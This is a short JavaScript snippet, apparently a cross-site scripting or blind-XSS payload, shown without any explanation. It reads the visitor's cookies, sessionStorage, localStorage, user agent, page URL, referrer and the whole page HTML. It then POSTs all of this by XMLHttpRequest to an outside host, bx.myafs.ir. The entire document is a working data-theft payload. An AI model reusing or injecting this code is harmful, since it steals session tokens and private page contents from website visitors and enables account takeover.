var mailer = '//bx.myafs.ir/'; var msg= 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' + document.URL; msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE COOKIES\n' + document.cookie; msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) + '\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage); var documentContent = '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML; var r = new XMLHttpRequest(); r.open('POST', mailer, true); r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); r.send('origin=' + document.location.origin + '&msg=' + encodeURIComponent(msg) + '&content=' + encodeURIComponent(documentContent));